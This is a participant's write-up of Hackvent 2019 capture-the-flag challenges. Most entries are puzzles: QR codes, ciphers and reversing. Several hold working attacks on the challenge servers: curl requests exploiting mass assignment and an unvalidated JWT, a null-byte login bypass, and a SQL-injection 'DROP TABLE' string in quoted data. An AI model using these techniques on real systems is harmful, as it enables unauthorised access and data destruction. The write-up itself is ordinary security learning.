2019-12-31
This is the second time I participated in a Hackvent. After last year, I tried to solve all challenges during this year's 2019 edition. And I succeeded.
However, I would not have managed to complete all challenges in time without the help I've received. To start, I want to thank my soon-to-be wife for being so patient with me. As others have pointed out, Hackvent can be a pretty intense time for a relationship.
Furthermore, I want to thank mcia who is always incredibly patient and always reaches out with a helping hand when I ask my n00b questions. Others who have given hints or helped in another way are bread, 0xCC, LogicalOverflow, each, DrSchottky, Wulgaru, and M.. Thank you all, you've helped me learning and discovering new things, which is incredibly valuable and appreciated.
Of course, I want to thank all the organizers and challenge creators. You've invested sweat, blood and probably tears to make this happen.
Hereafter, you'll find a write-up of all challenges in Hackvent 2019 (taking place during December 2019) annotated with solution approaches, notes and comments by myself.
Have fun.
Yours,
-ludus
This document is intended to be published at https://maennel.github.io/hackvent2019.
Comments, questions and improvements can be filed at https://github.com/maennel/hackvent2019.
Author | Level | Categories |
---|---|---|
M. | easy | fun |
I got this little image, but it looks like the best part got censored on the way. Even the tiny preview icon looks clearer than this! Maybe they missed something that would let you restore the original content?
Download the image. Extract the thumbnail with:
exif -e f182d5f0-1d10-4f0f-a0c1-7cba0981b6da.jpg
The QR code in the resulting thumbnail image was readable via ZXing.
I had the pleasure to discover CyberChef (https://gchq.github.io/CyberChef) now supports extracting files.
With that "build step", the readable thumbnail image was produced as well.
HV19{just-4-PREview!}
Author | Level | Categories |
---|---|---|
DrSchottky | easy | fun |
Today we give away decorations for your Christmas tree. But be careful and do not break it.
File: Triangulation
Unzipping produces an STL (Standard Triangle Language) file.
I was able to look at the file first using view3dscene (a local software) and https://stephaneginier.com/sculptgl/.
The first impression was a 3D Hackvent christmas ball. Since these christmas balls usually are empty, I tried to zoom in quite quickly. Inside, a 3D Aztec code could be found.
And then the actual time consuming part began...
Eventually, using the online tool, I was able to zoom in, so that I could see the entirety of the code with a resonable contrast. With ZXing not being able to decode, I stopped (to catch a train). On the way, I realized it was a 3D(!) code, which could be looked at from behind. Once the image was flipped, ZXing was happy and produced the flag.
HV19{Cr4ck_Th3_B411!}
Author | Level | Categories |
---|---|---|
otaku feat. trolli101 | easy | fun; programming |
The following text was given:
$HODOR: hhodor. Hodor. Hodor!? = `hodor?!? HODOR!? hodor? Hodor oHodor. hodor? , HODOR!?! ohodor!? dhodor? hodor odhodor? d HodorHodor Hodor!? HODOR HODOR? hodor! hodor!? HODOR hodor! hodor? !
hodor?!? Hodor Hodor Hodor? Hodor HODOR rhodor? HODOR Hodor!? h4Hodor?!? Hodor?!? 0r hhodor? Hodor!? oHodor?! hodor? Hodor Hodor! HODOR Hodor hodor? 64 HODOR Hodor HODOR!? hodor? Hodor!? Hodor!? .
HODOR?!? hodor- hodorHoOodoOor Hodor?!? OHoOodoOorHooodorrHODOR hodor. oHODOR... Dhodor- hodor?! HooodorrHODOR HoOodoOorHooodorrHODOR RoHODOR... HODOR!?! 1hodor?! HODOR... DHODOR- HODOR!?! HooodorrHODOR Hodor- HODORHoOodoOor HODOR!?! HODOR... DHODORHoOodoOor hodor. Hodor! HoOodoOorHodor HODORHoOodoOor 0Hooodorrhodor HoOodoOorHooodorrHODOR 0=`;
hodor.hod(hhodor. Hodor. Hodor!? );
Once again, I was on a completely wrong track to start with. Trying to find out about obfuscation possibilities in bash and or perl did not lead anywhere.
And once again, the break-through idea came while not being in front of the screen, but doing something else.
A quick DuckDuckGo for "Hodor Programming Language" lead to a page describing the syntax: http://www.hodor-lang.org/. An online interpreter could be found at https://tio.run/#hodor (this, btw, seems like a cool page for this kind of challenges... bookmarking...).
The output produced was:
Awesome, you decoded Hodors language!
As sis a real h4xx0r he loves base64 as well.
SFYxOXtoMDFkLXRoMy1kMDByLTQyMDQtbGQ0WX0=
And with a little CyberChef magic, this challenge was solvable entirely on the phone.
HV19{h01d-th3-d00r-4204-ld4Y}
Author | Level | Categories |
---|---|---|
DanMcFly | easy | fun |
Santa released a new password policy (more than 40 characters, upper, lower, digit, special).
The elves can't remember such long passwords, so they found a way to continue to use their old (bad) password:
Copied to clipboard
merry christmas geeks
File: HV19-PPC.zip
Extracting the zip file resulted in a .ahk file.
AHK?? What is that? That's how I started...
After learning about what it actually is and considering the script, I decided to re-activate my Windows 10 box I still had around.
With AutoHotkey installed, I only had to type in the given string into a Notepad editor (however, I noticed elves must be very slow typers).
The produced output was the flag below.
HV19{R3memb3r, rem3mber - the 24th 0f December}
Author | Level | Categories |
---|---|---|
inik | easy | fun |
To handle the huge load of parcels Santa introduced this year a parcel tracking system. He didn't like the black and white barcode, so he invented a more solemn barcode. Unfortunately the common barcode readers can't read it anymore, it only works with the pimped models santa owns. Can you read the barcode.
During breakfast, the moment I started, retr0id already sloved the challenge. What does that mean? Once more, probbably that I again overthink the challenge. But here we are...
"Not the solution" is what you get, no matter what color layer you filter out. Looking at the image, it's no wonder. Each bar has a component of all the three RGB colors.
In addition, there's that misleading SP Tracking number: 1337-9999-4555-9. It's go the same length as "Not the solution", so it must be useful in some way, right? But what if not. What if everything that I got was just plain distractors and misleading hints...
Together with my colleagues at work, we started looking more closely at the barcode's colors. Decoding the color of each bar of the barcode, we quickly found the pattern "HV19{" by looking only at the value of the blue RGB layer, being also the least significant byte of each value. Unfortunately, in the middle we confused the "a" for an "=" (can happen). After some back and forth, we still found the flag.
Credits to Jean-Eudes, mcia, and the entire FAIRTIQ crew.
HV19{D1fficult_to_g3t_a_SPT_R3ader}
Author | Level | Categories |
---|---|---|
brp64 | easy | fun; crypto |
<p><em>F</em>ra<em>n</em>cis Baco<em>n</em> <em>w</em>a<em>s</em> <em>a</em>n E<em>ng</em>lish ph<em>i</em>l<em>os</em>o<em>p</em>her a<em>n</em>d <em>s</em>tat<em>e</em>sm<em>a</em>n w<em>h</em>o se<em>rve</em>d <em>a</em>s At<em>t</em>or<em>n</em>ey Gen<em>e</em>ral and as <em>L</em>or<em>d</em> <em>Ch</em>an<em>ce</em>l<em>l</em>or of <em>En</em>g<em>l</em>an<em>d</em>. Hi<em>s</em> <em>w</em>orks ar<em>e</em> c<em>red</em>it<em>e</em>d w<em>ith</em> d<em>e</em>ve<em>lo</em>pi<em>ng</em> <em>t</em>h<em>e</em> sci<em>e</em>nt<em>i</em>fic me<em>t</em>hod and re<em>m</em>ai<em>ned</em> in<em>fl</em>u<em>en</em>ti<em>al</em> th<em>rou</em>gh <em>t</em>he s<em>cien</em>tific <em>r</em>ev<em>o</em>l<em>u</em>ti<em>o</em>n.
<em>B</em>a<em>co</em>n h<em>as</em> <em>b</em>e<em>e</em>n ca<em>l</em>led <em>th</em>e <em>f</em>ath<em>e</em>r o<em>f</em> emp<em>iric</em>i<em>s</em>m. <em>Hi</em>s <em>wor</em>ks ar<em>g</em>ued for th<em>e</em> po<em>ssi</em>bi<em>li</em>t<em>y</em> of s<em>c</em>ie<em>n</em>tifi<em>c</em> <em>kno</em>wl<em>edg</em>e b<em>a</em>se<em>d</em> onl<em>y</em> u<em>p</em>on i<em>n</em>du<em>c</em>t<em>i</em>ve <em>r</em>ea<em>s</em>onin<em>g</em> <em>a</em>nd c<em>aref</em>u<em>l</em> o<em>bs</em>er<em>v</em>ation o<em>f</em> <em>e</em>v<em>e</em>nt<em>s</em> in <em>na</em>tur<em>e</em>. Mo<em>st</em> <em>i</em>mp<em>ort</em>an<em>t</em>l<em>y</em>, <em>he</em> a<em>rgue</em>d sc<em>i</em>en<em>c</em>e co<em>uld</em> <em>b</em>e <em>a</em>c<em>hi</em>eved by us<em>e</em> of a <em>s</em>ce<em>p</em>t<em>ical</em> a<em>nd</em> me<em>t</em>hod<em>i</em>ca<em>l</em> <em>a</em>pp<em>roa</em>ch wh<em>er</em>eby <em>s</em>cientist<em>s</em> ai<em>m</em> t<em>o</em> avo<em>i</em>d m<em>i</em>sl<em>ead</em>in<em>g</em> themsel<em>ve</em>s. <em>A</em>lth<em>oug</em>h <em>h</em>is <em>p</em>ra<em>c</em>tic<em>a</em>l i<em>d</em>e<em>a</em>s ab<em>out</em> <em>s</em>u<em>ch</em> <em>a</em> <em>m</em>et<em>h</em>od, <em>t</em>he B<em>a</em>con<em>i</em>an meth<em>o</em>d, d<em>i</em>d no<em>t</em> have <em>a</em> l<em>o</em>n<em>g</em>-<em>la</em>s<em>t</em>ing <em>i</em>nfluen<em>c</em>e, <em>th</em>e <em>g</em>e<em>ne</em>ral <em>i</em>dea <em>of</em> <em>t</em>he imp<em>o</em>rta<em>n</em>ce and pos<em>s</em>i<em>b</em>il<em>it</em>y o<em>f</em> a s<em>c</em>ept<em>i</em>cal methodology makes Bacon the father of the scientific method. This method was a new rhetorical and theoretical framework for science, the practical details of which are still central in debates about science and methodology.</p>
Along with the following box:
Born: January 22
Died: April 9
Mother: Lady Anne
Father: Sir Nicholas
Secrets: unknown
Luckily, Bacon was pretty knowledgeable and created a cipher (at least, I assume it was the same person) named after him.
Translating all emphasized characters into an 'A' and all other characters into a 'B' led to a decodable string producing:
SANTALIKESHISBACONBUTALSOTHISBACONTHEPASSWORDISHVXBACONCIPHERISSIMPLEBUTCOOLXREPLACEXWITHBRACKETSANDUSEUPPERCASEFORALLCHARACTER
HV19{BACONCIPHERISSIMPLEBUTCOOL}
Author | Level | Categories |
---|---|---|
inik | easy | fun |
"Santa is prototyping a new gadget for his sledge. Unfortunately it still has some glitches, but look for yourself."
An embedded video from https://academy.hacking-lab.com/api/media/challenge/mp4/13e4f1a0-bb71-44ec-be54-3f5f23991033.mp4 For easy download, get it here: HV19-SantaRider.zip
Decode, frame by frame, all bytes that can be seen in the film. This results in:
01001000
01010110
00110001
00111001
01111011
00110001
01101101
01011111
01100001
01101100
01110011
00110000
01011111
01110111
00110000
01110010
01101011
00110001
01101110
01100111
01011111
00110000
01101110
01011111
01100001
01011111
01110010
00110011
01101101
00110000
01110100
00110011
01011111
01100011
00110000
01101110
01110100
01110010
00110000
01101100
01111101
Which can be converted to ASCII, producing the flag.
HV19{1m_als0_w0rk1ng_0n_a_r3m0t3_c0ntr0l}
Author | Level | Categories |
---|---|---|
otaku | medium | crypto; reverse engineering |
You hacked into the system of very-secure-shopping.com and you found a SQL-Dump with $$-creditcards numbers. As a good hacker you inform the company from which you got the dump. The managers tell you that they don't worry, because the data is encrypted.
Dump-File: dump.zip
Analyze the "Encryption"-method and try to decrypt the flag.
In the SQL dump, the following entries could be found:
# `creditcards` table
(1,'Sirius Black', ':)QVXSZUVY\ZYYZ[a' ,'12/2020'),
(2,'Hermione Granger', ':)QOUW[VT^VY]bZ_' ,'04/2021'),
(3,'Draco Malfoy', ':)SPPVSSYVV\YY_\\]','05/2020'),
(4,'Severus Snape', ':)RPQRSTUVWXYZ[\]^','10/2020'),
(5,'Ron Weasley', ':)QTVWRSVUXW[_Z`\b','11/2020');
# `flags` table
(1,'HV19{',':)SlQRUPXWVo\Vuv_n_\ajjce','}');
From the text it was clear that the ciphertext had to be reverted to a numeric string with a length of 14 to 19 positions (length of credit card numbers). It became also relatively clear from the quotation marks, that the encryption was more of an encoding and that it had to be some poor man's approach (which was also confirmed by DrSchottky
later in the chat).
Looking at the given ciphertext with the algorithm being "SmileNcryptor 4.0", I simply dropped the prefixing smiley faces with them not adding any additional information (except that it's actually ciphertext).
An analysis of the ciphertext alphabet (of credit card numbers only) provides the following alphabet, which is already longer than the wanted 10 characters (0-9):
[\]^_`abOPQRSTUVWXYZ
Other than that, it seems that characters that lay higher in the ASCII value space appear only later in the ciphertext.
multifred
, at some point (late at night/early in the morning), posted an incredible analysis that was a real eye opener (in the next morning) for me. He mapped ciphertext characters against an ASCII axis, which looks like this:
-----------------------------------------------------------------------------------------------
!"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~
:
)
S
P
P
V
S
S
Y
V
V
\
Y
Y
_
\
\
]
This shows nicely, how a "decryption" algorithm needs to shift the characters to the left into the numeric part of the ASCII space.
It also shows, that the spectrum of cipher characters was wider than the spectrum of numeric characters. In combination with the fact that the distribution seems to drift to the right, which represents higher ASCII values, the of each character could have an influence.
Let's script that... And indeed: By substracting from the character value a fixed offset and it's position's value, a printable, numeric ASCII character was produced.
Here's the code:
#!/usr/bin/env python
DEFAULT_OFFSET = 30
ciphertext = [
"QVXSZUVY\\ZYYZ[a",
"QOUW[VT^VY]bZ_",
"SPPVSSYVV\\YY_\\\\]",
"RPQRSTUVWXYZ[\\]^",
"QTVWRSVUXW[_Z`\\b"
]
flag = "SlQRUPXWVo\\Vuv_n_\\ajjce"
def decrypt_char(character, index):
character_val = ord(character) - DEFAULT_OFFSET - index
try:
return chr(character_val)
except Exception as e:
print("Character %x could not be decrypted" % ord(character))
return "X"
def decrypt_string(ciphertext):
dec = ""
for i in range(len(ciphertext)):
dec += decrypt_char(ciphertext[i], i)
return dec
if __name__ == '__main__':
for c in ciphertext:
print("Decrypting %s" % c)
cleartext = decrypt_string(c)
print("%s (length: %s)" % (cleartext, len(cleartext)))
print("Flag: HV19{%s}" % decrypt_string(flag))
Producing the output:
$ python smilencryptor.py
Decrypting QVXSZUVY\ZYYZ[a
378282246310005 (length: 15)
Decrypting QOUW[VT^VY]bZ_
30569309025904 (length: 14)
Decrypting SPPVSSYVV\YY_\\]
5105105105105100 (length: 16)
Decrypting RPQRSTUVWXYZ[\]^
4111111111111111 (length: 16)
Decrypting QTVWRSVUXW[_Z`\b
3566002020360505 (length: 16)
Flag: HV19{5M113-420H4-KK3A1-19801}
HV19{5M113-420H4-KK3A1-19801}
Massive credits to multifred
who posted the above ASCII-analysis, which was a new approach to me and which finally helped to find the solution.
Author | Level | Categories |
---|---|---|
brp64 feat. M. | medium | fun |
Visiting the following railway station has left lasting memories.
Santas brand new gifts distribution system is heavily inspired by it. Here is your personal gift, can you extract the destination path of it?
Google Image search quickly led to a Wikipedia page about Rule 30. The remaining question was, how to "apply" Rule 30 to fix the broken QR code?
I tried a lot of things...
Run rule 30 over the wrong QR code, line by line. And hereby, I mean "apply" Rule 30 to QR code pixels.
Retrospectively: Yeah, I know... whatever..
Another thought I had was that mabe Rule 30 was already applied and we'd have to reverse it? This also led to a "cul-de-sac".
Another failed attempt was to AND/OR/XOR a Rule 30 image, with its peak in the (horizontal and vertical) center of the QR code.
Finally, I manually computed with XOR the needed pattern to re-establish the lower right target on the QR code:
This seemed like a pattern that's present in the Rule 30 image. So I laid one image over another and XORed them to find the resulting image.
Did I mention that I went down multiple rabbit holes that day? That's also why I did this programatically in Python...
After solving, I thought about how it could have been done more easily.
HV19{Cha0tic_yet-0rdered}
Author | Level | Categories |
---|---|---|
inik | medium | fun |
The flag is right, of course
As the description says, there were two other binaries published before this one. I found the fact that everyone struggled (well, almost - kudos to @hardlock for fixing the binary and finding the flag) not too bad actually. It let me excercise a bit with strace
and ltrace
, which came in handy as soon as the real challenge was published.
With the following command, the flag was printed out:
$ strace -e trace=execve -x -y -f -s10024 ./guess3
execve("./guess3", ["./guess3"], 0x7ffdd43f0c80 /* 66 vars */) = 0
execve("/bin/bash", ["./guess3", "-c", "exec './guess3' \"$@\"", "./guess3"], 0x5567ea44c290 /* 67 vars */) = 0
execve("/home/manu/Documents/hackvent19/dec10/_d658ab66-6859-416d-8554-9a4ee0105794.zip.extracted/guess3", ["./guess3"], 0x55ede84f3460 /* 66 vars */) = 0
execve("/bin/bash", ["./guess3", "-c", "
[ some whitespaces removed... ]
#!/bin/bash\n\nread -p \"Your input: \" input\n\nif [ $input = \"HV19{Sh3ll_0bfuscat10n_1s_fut1l3}\" ] \nthen\n echo \"success\"\nelse \n echo \"nooooh. try harder!\"\nfi\n\n", "./guess3"], 0x7ffe99f75548 /* 65 vars */) = 0
Your input: HV19{Sh3ll_0bfuscat10n_1s_fut1l3}
success
+++ exited with 0 +++
So after all, the executable called itself a couple of times, only to run some script testing for whether or not the flag was entered.
HV19{Sh3ll_0bfuscat10n_1s_fut1l3}
Author | Level | Categories |
---|---|---|
inik | medium | fun |
The elves created an API where you get random jokes about santa.
Go and try it here: http://whale.hacking-lab.com:10101
For information gathering, I played through the scenario as described.
Logging in with a user resulted in a token implementing a JWT:
$ curl -s -X POST -H 'Content-Type: application/json' http://whale.hacking-lab.com:10101/fsja/login --data '{"username":"testuser", "password": "passwordpassword"}'
{"message":"Token generated","code":201,"token":"eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjp7InVzZXJuYW1lIjoidGVzdHVzZXIiLCJwbGF0aW51bSI6ZmFsc2V9LCJleHAiOjE1Nzc0Mzc4ODkuMzUzMDAwMDAwfQ.5msTsQB_qqB-samcp4CP4tS2DNWvdgILjpiBm-L_kqM"}
JWTs can be decoded:
So let's try to bring that platinum
property to a true
value.
One variant that was successful was to simply add the property to the registration request of a new user:
# curl -s -X POST -H 'Content-Type: application/json' http://whale.hacking-lab.com:10101/fsja/register --data '{"username":"nothertestuser", "password": "passwordpassword", "platinum": true}'
HTTP/1.1 201 Created
Content-Type: application/json
Content-Length: 37
Server: Jetty(9.4.18.v20190429)
{"message":"User created","code":201}
Logging in with that user:
# curl -i -s -X POST -H 'Content-Type: application/json' http://whale.hacking-lab.com:10101/fsja/login --data '{"username": "nothertestuser", "password":"passwordpassword"}'
HTTP/1.1 201 Created
Content-Type: application/json
Content-Length: 224
Server: Jetty(9.4.18.v20190429)
{"message":"Token generated","code":201,"token":"eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjp7InVzZXJuYW1lIjoibm90aGVydGVzdHVzZXIiLCJwbGF0aW51bSI6dHJ1ZX0sImV4cCI6MTU3NjA0Nzg5NC40NzcwMDAwMDB9.3_9QFSTdjMaIOG0DJL7jBKR1-jbbgfKKDIvA2T-2bNo"}
And requesting a "random" joke:
# curl -i -X GET "http://whale.hacking-lab.com:10101/fsja/random?token=eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjp7InVzZXJuYW1lIjoibm90aGVydGVzdHVzZXIiLCJwbGF0aW51bSI6dHJ1ZX0sImV4cCI6MTU3NjA0Nzg5NC40NzcwMDAwMDB9.3_9QFSTdjMaIOG0DJL7jBKR1-jbbgfKKDIvA2T-2bNo"
HTTP/1.1 201 Created
Content-Type: application/json
Content-Length: 300
Server: Jetty(9.4.18.v20190429)
{"joke":"Congratulation! Sometimes bugs are rather stupid. But that's how it happens, sometimes. Doing all the crypto stuff right and forgetting the trivial stuff like input validation, Hohoho! Here's your flag: HV19{th3_cha1n_1s_0nly_as_str0ng_as_th3_w3ak3st_l1nk}","author":"Santa","platinum":true}
It turns out, the API also did not validate the token before using it. So, solving this challenge could have been as simple as decoding the JWT, setting the platinum property to true
and re-encoding the JWT (with a wrong signature).
HV19{th3_cha1n_1s_0nly_as_str0ng_as_th3_w3ak3st_l1nk}
Author | Level | Categories |
---|---|---|
hardlock | medium | fun; reverse engineering |
Santa used his time machine to get a present from the past. get your rusty tools out of your cellar and solve this one!
"Rusty tools"? In my case, they were never shiny or even existing. But anyways...
Being a beginner in reverse eingineering I decided to proceed with Ghidra and OllyDbg side by side, as it was clear that we deal with a Windows PE binary and Ghidra provided a decompiled view, which is handy.
Let's have a look at the program. Apparently, the UI will display "Status: wrong" as long as we don't enter the correct flag.
It turns out, the program rejects all strings that do not start with "HV19" and have a length other than 33 characters. Since a flag must include the string "HV19{}", we know that there are 27 variable characters.
Looking at what Ghidra was able to decompile, one can see there's a suspicious looking XOR function somewhere in the middle of the part that we end up in, when a random flag with 33 characters is entered.
In OllyDbg, I then tried to observe what happened right before and after that XOR by setting breakpoints and investigating memory. For example, setting the variable part of a flag to AAAAAAAAAAAAAAAAAAAAAAAAAAA
, it got encrypted to GFIHKJMLONQPSRUTWVYX[Z]\_^a
. Computing the encryption key was already possible from this information. However, I also tried to find where this key was loaded with OllyDbg.
It's at address 0x00402358
I was able to observe the secret being loaded for XORing (PUSH EAX
). Right after that, the corresponding character from the user-entered string is prepared for XORing. The encryption key is:
06 07 08 09 0a 0b 0c 0d 0e 0f 10 11 12 13 14 15 16 17 18 19 1a 1b 1c 1d 1e 1f 20
Finally, the program compared the computed string with an encrypted string that can be found at address 0x00401b40
. This is the encrypted flag that gets loaded at 0x00402416
. The encrypted flag is:
6klzic<=bPBtdvff'y.FI~on//N
Or in hex values:
36 6b 6c 7a 69 63 3c 3d 62 50 42 74 64 76 66 66 27 79 7f 46 49 7e 6f 6e 2f 2f 4e
As XOR is revertible, we can now apply this operation again to find the flag:
30 6c 64 73 63 68 30 30 6c 5f 52 65 76 65 72 73 31 6e 67 5f 53 65 73 73 31 30 6e
which, in ASCII, is:
0ldsch00l_Revers1ng_Sess10n
Nice.
HV19{0ldsch00l_Revers1ng_Sess10n}
Author | Level | Categories |
---|---|---|
kiwi | medium | fun |
Switzerland's national security is at risk. As you try to infiltrate a secret spy facility to save the nation you stumble upon an interesting looking login portal.
Can you break it and retrieve the critical information?
Facility: http://whale.hacking-lab.com:8888/trieme/ HV19.13-NotesBean.java.zip
Here's the one approach that worked:
$ curl 'http://whale.hacking-lab.com:8888/trieme/faces/index.xhtml' -i \
-H 'Content-Type: application/x-www-form-urlencoded' \
-H 'Cookie: JSESSIONID=F42C98923EAF777AE65D8E59595261A2' \
--data 'j_idt14=j_idt14&j_idt14%3Aname=auth_token_4835989%00%00&j_idt14%3Aj_idt15=login&javax.faces.ViewState=7831036928425351547%3A7209554679698124656'
HTTP/1.1 200
X-Powered-By: JSF/2.0
Content-Type: text/html;charset=UTF-8
Content-Length: 560
Date: Fri, 13 Dec 2019 21:46:49 GMT
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<title>SpyPortal</title><link type="text/css" rel="stylesheet" href="/trieme/faces/javax.faces.resource/style.css?ln=css" /></head><body>
<h3>Secret Spy Portal</h3>
<h4>STATUS:
We will steal all the national chocolate supplies at christmas, 3pm: Here's the building codes: HV19{get_th3_chocolateZ}
!</h4></body>
</html>
Once more, the whole thing is harder if you're not doing this kind of analysis at least from time to time. But let's not forget that we do it for fun and to learn something (which was definitely the case here).
Massive credits go once more to mcia, who was once more able to open my eyes with subtle yet precise hints with no spoilers. Whithout him I would have gone to bed. Thanks mate. :D
HV19{get_th3_chocolateZ}
Author | Level | Categories |
---|---|---|
M. | medium | fun; programming |
Let's play another little game this year. Once again, I promise it is hardly obfuscated.
use Tk;use MIME::Base64;chomp(($a,$a,$b,$c,$f,$u,$z,$y,$r,$r,$u)=<DATA>);sub M{$M=shift;##
@m=keys %::;(grep{(unpack("%32W*",$_).length($_))eq$M}@m)[0]};$zvYPxUpXMSsw=0x1337C0DE;###
/_help_me_/;$PMMtQJOcHm8eFQfdsdNAS20=sub{$zvYPxUpXMSsw=($zvYPxUpXMSsw*16807)&0xFFFFFFFF;};
($a1Ivn0ECw49I5I0oE0='07&3-"11*/(')=~y$!-=$`-~$;($Sk61A7pO='K&:P3&44')=~y$!-=$`-~$;m/Mm/g;
($sk6i47pO='K&:R&-&"4&')=~y$!-=$`-~$;;;;$d28Vt03MEbdY0=sub{pack('n',$fff[$S9cXJIGB0BWce++]
^($PMMtQJOcHm8eFQfdsdNAS20->()&0xDEAD));};'42';($vgOjwRk4wIo7_=MainWindow->new)->title($r)
;($vMnyQdAkfgIIik=$vgOjwRk4wIo7_->Canvas("-$a"=>640,"-$b"=>480,"-$u"=>$f))->pack;@p=(42,42
);$cqI=$vMnyQdAkfgIIik->createLine(@p,@p,"-$y"=>$c,"-$a"=>3);;;$S9cXJIGB0BWce=0;$_2kY10=0;
$_8NZQooI5K4b=0;$Sk6lA7p0=0;$MMM__;$_=M(120812).'/'.M(191323).M(133418).M(98813).M(121913)
.M(134214).M(101213).'/'.M(97312).M(6328).M(2853).'+'.M(4386);s|_||gi;@fff=map{unpack('n',
$::{M(122413)}->($_))}m:...:g;($T=sub{$vMnyQdAkfgIIik->delete($t);$t=$vMnyQdAkfgIIik->#FOO
createText($PMMtQJOcHm8eFQfdsdNAS20->()%600+20,$PMMtQJOcHm8eFQfdsdNAS20->()%440+20,#Perl!!
"-text"=>$d28Vt03MEbdY0->(),"-$y"=>$z);})->();$HACK;$i=$vMnyQdAkfgIIik->repeat(25,sub{$_=(
$_8NZQooI5K4b+=0.1*$Sk6lA7p0);;$p[0]+=3.0*cos;$p[1]-=3*sin;;($p[0]>1&&$p[1]>1&&$p[0]<639&&
$p[1]<479)||$i->cancel();00;$q=($vMnyQdAkfgIIik->find($a1Ivn0ECw49I5I0oE0,$p[0]-1,$p[1]-1,
$p[0]+1,$p[1]+1)||[])->[0];$q==$t&&$T->();$vMnyQdAkfgIIik->insert($cqI,'end',\@p);($q==###
$cqI||$S9cXJIGB0BWce>44)&&$i->cancel();});$KE=5;$vgOjwRk4wIo7_->bind("<$Sk61A7pO-n>"=>sub{
$Sk6lA7p0=1;});$vgOjwRk4wIo7_->bind("<$Sk61A7pO-m>"=>sub{$Sk6lA7p0=-1;});$vgOjwRk4wIo7_#%"
->bind("<$sk6i47pO-n>"=>sub{$Sk6lA7p0=0 if$Sk6lA7p0>0;});$vgOjwRk4wIo7_->bind("<$sk6i47pO"
."-m>"=>sub{$Sk6lA7p0=0 if $Sk6lA7p0<0;});$::{M(7998)}->();$M_decrypt=sub{'HACKVENT2019'};
__DATA__
The cake is a lie!
width
height
orange
black
green
cyan
fill
Only perl can parse Perl!
Achtung das Flag! --> Use N and M
background
M'); DROP TABLE flags; --
Run me in Perl!
__DATA__
Look at a nicer representation of the script, generated with perltidy
to get an overview. (Another viable option seems to be Perl's deparse
utility).
Replace variable assignments by anonymous subroutines like sub{...}->()
.
$q
carries the result of whether the "snake" is moving in free space ($q==0), has hit itself ($q==1) or a character ($q>1).
Now, we can act on that value by changing the source according to the following diff:
--- dec14.pl.orig 2019-12-14 09:18:50.013456066 +0100
+++ dec14.pl 2019-12-14 10:30:55.600999646 +0100
@@ -6,14 +6,14 @@
^($PMMtQJOcHm8eFQfdsdNAS20->()&0xDEAD));};'42';($vgOjwRk4wIo7_=MainWindow->new)->title($r)
;($vMnyQdAkfgIIik=$vgOjwRk4wIo7_->Canvas("-$a"=>640,"-$b"=>480,"-$u"=>$f))->pack;@p=(42,42
);$cqI=$vMnyQdAkfgIIik->createLine(@p,@p,"-$y"=>$c,"-$a"=>3);;;$S9cXJIGB0BWce=0;$_2kY10=0;
-$_8NZQooI5K4b=0;$Sk6lA7p0=0;$MMM__;$_=M(120812).'/'.M(191323).M(133418).M(98813).M(121913)
+$_8NZQooI5K4b=0;$Sk6lA7p0=0;$bla=1;$MMM__;$_=M(120812).'/'.M(191323).M(133418).M(98813).M(121913)
.M(134214).M(101213).'/'.M(97312).M(6328).M(2853).'+'.M(4386);s|_||gi;@fff=map{unpack('n',
$::{M(122413)}->($_))}m:...:g;($T=sub{$vMnyQdAkfgIIik->delete($t);$t=$vMnyQdAkfgIIik->#FOO
createText($PMMtQJOcHm8eFQfdsdNAS20->()%600+20,$PMMtQJOcHm8eFQfdsdNAS20->()%440+20,#Perl!!
-"-text"=>$d28Vt03MEbdY0->(),"-$y"=>$z);})->();$HACK;$i=$vMnyQdAkfgIIik->repeat(25,sub{$_=(
+"-text"=>sub{$blop=$d28Vt03MEbdY0->(); print "${blop}"; $blop}->(),"-$y"=>$z);})->();$HACK;$i=$vMnyQdAkfgIIik->repeat(50,sub{$_=(
$_8NZQooI5K4b+=0.1*$Sk6lA7p0);;$p[0]+=3.0*cos;$p[1]-=3*sin;;($p[0]>1&&$p[1]>1&&$p[0]<639&&
$p[1]<479)||$i->cancel();00;$q=($vMnyQdAkfgIIik->find($a1Ivn0ECw49I5I0oE0,$p[0]-1,$p[1]-1,
-$p[0]+1,$p[1]+1)||[])->[0];$q==$t&&$T->();$vMnyQdAkfgIIik->insert($cqI,'end',\@p);($q==###
+$p[0]+1,$p[1]+1)||[])->[0];sub{$bla=$bla+1;$q=$bla;}->();$q==$t&&$T->();$vMnyQdAkfgIIik->insert($cqI,'end',\@p);($q==###
$cqI||$S9cXJIGB0BWce>44)&&$i->cancel();});$KE=5;$vgOjwRk4wIo7_->bind("<$Sk61A7pO-n>"=>sub{
$Sk6lA7p0=1;});$vgOjwRk4wIo7_->bind("<$Sk61A7pO-m>"=>sub{$Sk6lA7p0=-1;});$vgOjwRk4wIo7_#%"
->bind("<$sk6i47pO-n>"=>sub{$Sk6lA7p0=0 if$Sk6lA7p0>0;});$vgOjwRk4wIo7_->bind("<$sk6i47pO"
Three things are done here:
$bla
that will be used to override the value of $q
.$q
with the value of $bla
by introducing a subroutine which is called immediately.HV19{s@@jSfx4gPcvtiwxPCagrtQ@,y^p-za-oPQ^a-z\x20\n^&&s[(.)(..)][\2\1]g;s%4(...)%"p$1t"%ee}
Author | Level | Categories |
---|---|---|
inik & avarx | hard | fun |
The Elves are working very hard. Look at http://whale.hacking-lab.com:2080/ to see how busy they are.
config.js:
var mqtt;
var reconnectTimeout = 100;
var host = 'whale.hacking-lab.com';
var port = 9001;
var useTLS = false;
var username = 'workshop';
var password = '2fXc7AWINBXyruvKLiX';
var clientid = localStorage.getItem("clientid");
if (clientid == null) {
clientid = ('' + (Math.round(Math.random() * 1000000000000000))).padStart(16, '0');
localStorage.setItem("clientid", clientid);
}
var topic = 'HV19/gifts/'+clientid;
// var topic = 'HV19/gifts/'+clientid+'/flag-tbd';
var cleansession = true;
mqtt.js:
// ...
mqtt = new Paho.MQTT.Client(
host,
port,
path,
clientid
);
// ...
function onConnect() {
mqtt.subscribe(topic, {qos: 0});
}
//...
